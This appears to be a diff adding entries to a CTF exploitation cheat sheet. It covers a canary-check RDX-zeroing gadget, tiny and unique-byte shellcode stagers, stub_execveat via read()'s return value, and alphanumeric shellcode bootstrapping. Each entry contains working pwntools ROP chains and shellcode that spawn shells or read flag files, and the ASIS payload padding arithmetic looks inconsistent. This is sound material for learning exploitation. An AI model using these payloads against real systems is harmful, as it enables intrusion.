+ ## Stack Canary XOR Epilogue as RDX Zeroing Gadget (VolgaCTF 2017)
470
+
471
+ **When to use:** Need `rdx = 0` for `execve(path, argv, NULL)` but no `pop rdx; ret` gadget exists in the binary. The canary verification epilogue `xor rdx, fs:28h` zeros RDX when the canary is intact.
472
+
473
+ ```python
474
+ from pwn import *
475
+
476
+ # Canary check epilogue (found in most binaries):
477
+ # mov rdx, [rsp+8] ; load canary from stack
478
+ # xor rdx, fs:28h ; XOR with stored canary → 0 if intact
479
+ # Jump into this code as a "gadget" to zero RDX
480
+
481
+ # Find the canary check sequence in the binary
482
+ canary_xor_gadget = next(binary.search(asm(
483
+ "mov rdx, [rsp+8]; xor rdx, qword ptr fs:[0x28]"
484
+ )))
485
+ # Side effect: harmless write of je result, rdx = 0 for execve(path, argv, NULL)
486
+
487
+ # Use in ROP chain:
488
+ rop = flat(
489
+ pop_rdi, binsh_addr, # rdi = "/bin/sh"
490
+ pop_rsi, 0, # rsi = NULL (argv)
491
+ canary_xor_gadget, # rdx = canary ^ fs:28h = 0
492
+ execve_addr, # execve("/bin/sh", NULL, NULL)
493
+ )
494
+ ```
495
+
496
+ **Key insight:** The stack canary check `xor rdx, fs:28h` produces `rdx=0` when the canary is correct. Jump into this epilogue as a gadget when `pop rdx` is unavailable -- it provides a reliable zero-rdx primitive with only a benign byte-write side effect. This works because the canary on the stack matches `fs:28h`, so the XOR result is always zero in a non-corrupted frame.
497
+
498
+ **When to recognize:** ROP chain needs `rdx=0` (common for `execve` third argument) but the binary lacks `pop rdx; ret` or `pop rdx; pop rbx; ret`. Search for `xor rdx, qword ptr fs:` in the binary's disassembly -- it appears in every function with a stack canary.
499
+
500
+ **References:** VolgaCTF 2017
501
+
502
+ ---
503
+
504
+ ## Minimal Shellcode with Pre-Initialized Registers (Square CTF 2017)
505
+
506
+ **Pattern:** When the shellcode entry point has registers already initialized to useful values (e.g., `eax=4` for the `write` syscall on x86-32, `ebx=1` for stdout), exploit them to dramatically reduce shellcode size. Always audit register state at entry before writing shellcode from scratch.
507
+
508
+ **Example (x86-32 write syscall, entry: eax=4, ebx=1):**
509
+ ```asm
510
+ ; Entry state: eax=4 (sys_write), ebx=1 (stdout fd)
511
+ ; Goal: write flag buffer to stdout — only need ecx and edx
512
+
513
+ ; 3-byte: point ecx at the flag buffer
514
+ lea ecx, [edi + flag_offset] ; 3 bytes (if offset fits in 1 byte)
515
+
516
+ ; 2-byte: set edx (byte count)
517
+ mov dl, 64 ; 2 bytes
518
+
519
+ ; 2-byte: trigger syscall
520
+ int 0x80 ; 2 bytes
521
+
522
+ ; Total: 7 bytes — or as few as 5 if edx is already set
523
+ ```
524
+
525
+ **Workflow:**
526
+ ```python
527
+ # 1. Run the binary in gdb, break right before shellcode is executed
528
+ # 2. Inspect all registers: info registers
529
+ # 3. Identify which syscall arguments are already set
530
+ # 4. Write only the instructions needed to fill missing arguments
531
+
532
+ # Useful pre-initialized patterns:
533
+ # - eax = syscall number already set by caller
534
+ # - ebx = fd (stdin=0, stdout=1) from prior open/setup
535
+ # - rdi, rsi from calling convention leakage
536
+ # - rsp pointing into a writable region (for push-based addressing)
537
+ ```
538
+
539
+ **Key insight:** Always audit entry register values before writing shellcode — pre-loaded syscall numbers and fd values can reduce shellcode to under 6 bytes. The smallest possible shellcode exploits the ABI calling convention residue left by the surrounding code.
540
+
541
+ **References:** Square CTF 2017
542
+
543
+ ---
544
+
545
+ ## Unique-Byte Shellcode via syscall RIP to RCX (HITCON 2017)
546
+
547
+ **Pattern:** x86-64 `syscall` instruction saves `RIP` (next instruction address) into `RCX` as a side effect. An 8-byte stager exploits this: execute `syscall` (which also triggers a `read` with pre-set registers), then use `rcx` (now = address of the instruction after `syscall`) as the address for reading the full shellcode to the same RWX location. All 8 bytes of the stager must be unique (no repeated bytes).
548
+
549
+ **8-byte stager construction:**
550
+ ```asm
551
+ ; Entry constraints: rax=0 (read), rdi=0 (stdin), rsi=shellcode_buf, rdx=8 (small)
552
+ ; Side effect of syscall: rcx = RIP (address of next instruction after syscall)
553
+
554
+ syscall ; 2 bytes: 0f 05 — executes read(0, shellcode_buf, 8)
555
+ ; and sets rcx = &next_instr (= shellcode_buf + 2)
556
+ push rcx ; 1 byte: 51 — stack = [shellcode_buf + 2]
557
+ pop rsi ; 1 byte: 5e — rsi = shellcode_buf + 2 (where full shellcode goes)
558
+ xor edx, edx ; 2 bytes: 31 d2 — clear rdx
559
+ mov dl, 100 ; 2 bytes: b2 64 — rdx = 100 (read size for stage 2)
560
+ ; Back to syscall (loop): the push/pop sequence ends up jumping to syscall again
561
+ ; ... or arrange entry so the next syscall reads 100 bytes to rsi
562
+ ```
563
+
564
+ **Uniqueness constraint:**
565
+ ```python
566
+ # All 8 bytes must be distinct (challenge-specific filter)
567
+ # Candidate sequence: 0f 05 51 5e 31 d2 b2 64 — all unique
568
+ # Verify: len(set(bytes)) == len(bytes)
569
+ stager = bytes([0x0f, 0x05, 0x51, 0x5e, 0x31, 0xd2, 0xb2, 0x64])
570
+ assert len(set(stager)) == len(stager) # passes
571
+
572
+ # Stage 2: full execve shellcode sent to stdin after stager runs first syscall
573
+ from pwn import *
574
+ p.send(stager)
575
+ p.send(asm(shellcraft.sh()))
576
+ ```
577
+
578
+ **Key insight:** x86-64 `syscall` copies RIP to RCX — weaponize this as position-independent address discovery for tiny shellcode stagers. The stager needs no hardcoded addresses: it calculates its own location via the `syscall` side effect, then uses that address as the destination for reading the full payload.
579
+
580
+ **References:** HITCON CTF 2017
581
+
582
+ ---
583
+
584
+ ## stub_execveat Syscall as execve Alternative (ASIS CTF 2018)
585
+
586
+ **Pattern:** In a tiny binary with only `read` syscall and no `pop rax` gadget, use `stub_execveat` (syscall 0x142/322) instead of `execve` (0x3b). Since `read()` returns bytes-read in `rax`, make total input length exactly 0x142 bytes so `rax=0x142` when the syscall gadget fires.
587
+
588
+ **Why this works:**
589
+ 1. The binary is tiny -- only `read` and basic gadgets, no `pop rax; ret`
590
+ 2. `execve` requires `rax=0x3b` (59), but without `pop rax` there's no way to set it
591
+ 3. `read()` returns the number of bytes read in `rax` -- this is the only rax control
592
+ 4. `stub_execveat` (syscall 322 = 0x142) accepts the same arguments as `execve` when `AT_FDCWD` is used for the directory fd
593
+ 5. Send exactly 0x142 bytes so `read()` returns 0x142, then hit `syscall`
594
+
595
+ ```python
596
+ from pwn import *
597
+
598
+ # Binary gadgets (tiny static binary)
599
+ xor_rdx_syscall = 0x4000ed # xor rdx, rdx; syscall
600
+ syscall_gadget = 0x400101 # syscall
601
+
602
+ # Build payload: /bin/sh string + padding + ROP chain
603
+ # Total length must be exactly 0x142 bytes
604
+ payload = b"/bin/sh\x00" # rdi points here
605
+ payload += b"B" * (0x148 - (8*4) - 8) # padding to ROP area
606
+ payload += p64(xor_rdx_syscall) # xor rdx, rdx; syscall
607
+ payload += p64(syscall_gadget) # syscall (rax=0x142 from read)
608
+ payload += b"A" * (0x142 - len(payload) - 1) # pad to exactly 0x142 bytes
609
+ # rax = 0x142 from read() return value = stub_execveat syscall number
610
+
611
+ io = remote('target', 1337)
612
+ io.send(payload)
613
+ io.interactive()
614
+ ```
615
+
616
+ **Key insight:** `stub_execveat` (syscall 322/0x142) accepts the same arguments as execve when `AT_FDCWD` is used, but its higher syscall number can be reached via `read()` return value when `pop rax; ret` gadgets are unavailable. Always check if alternative syscalls with equivalent functionality have numbers reachable through return values or other implicit register control.
617
+
618
+ **References:** ASIS CTF 2018
619
+
620
+ ---
621
+
622
+ ## Alphanumeric Shellcode Bootstrap via push/pop When rax=0 (nullcon HackIM 2019)
623
+
624
+ **Pattern (easy-shell):** RWX page receives attacker shellcode but every byte must be alphanumeric (`[0-9A-Za-z]`). Tools like [basic-amd64-alphanumeric-shellcode-encoder](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-encoder) emit self-decoding stubs but require `rax + padding_len == shellcode_address` at entry. When the harness enters with `rax = 0` (not anywhere near the shellcode) the encoder has nothing to land on. Prepend a tiny 3-byte non-alnum-but-accepted seed — `push r12; pop rax` — so `rax` becomes a live stack/code pointer, then call the encoder with `padding_len=3`.
625
+
626
+ ```python
627
+ from pwn import *
628
+ context(arch='amd64')
629
+
630
+ file_name = "flag".ljust(8, '\x00')
631
+ sc = '''
632
+ mov rax, %s
633
+ push rax
634
+ mov rdi, rsp
635
+ mov rax, 2 /* open(rsp, 0) */
636
+ mov rsi, 0
637
+ syscall
638
+ mov rdi, rax
639
+ sub rsp, 0x20
640
+ mov rsi, rsp
641
+ mov rdx, 0x20
642
+ mov rax, 0 /* read(fd, rsp, 0x20) */
643
+ syscall
644
+ mov rdi, 0
645
+ mov rsi, rsp
646
+ mov rdx, 0x20
647
+ mov rax, 1 /* write(1, rsp, 0x20) */
648
+ syscall
649
+ ''' % hex(u64(file_name))
650
+ sc = asm(sc)
651
+
652
+ # push r12 (0x41 0x54) + pop rax (0x58) = 3 bytes, all happen to be alnum-safe
653
+ bootstrap = asm("push r12; pop rax;")
654
+ payload = bootstrap + alphanum_encoder(sc, 3)
655
+ ```
656
+
657
+ **Key insight:** Alphanumeric-only decoders typically need `rax` to point at (or a fixed offset before) the payload. If the harness zeroes `rax`, seed it from *any* volatile register that already holds a valid address — `r12` is routinely `_start` on Linux, and `push r12; pop rax` happens to be `AT X` (0x41 0x54 0x58), which the encoder's input filter treats as benign. Adjust the encoder's `padding_len` argument to exactly match the prepended byte count so the decode math still lines up.
658
+
659
+ **References:** nullcon HackIM 2019 — easy-shell, writeups 13048, 13203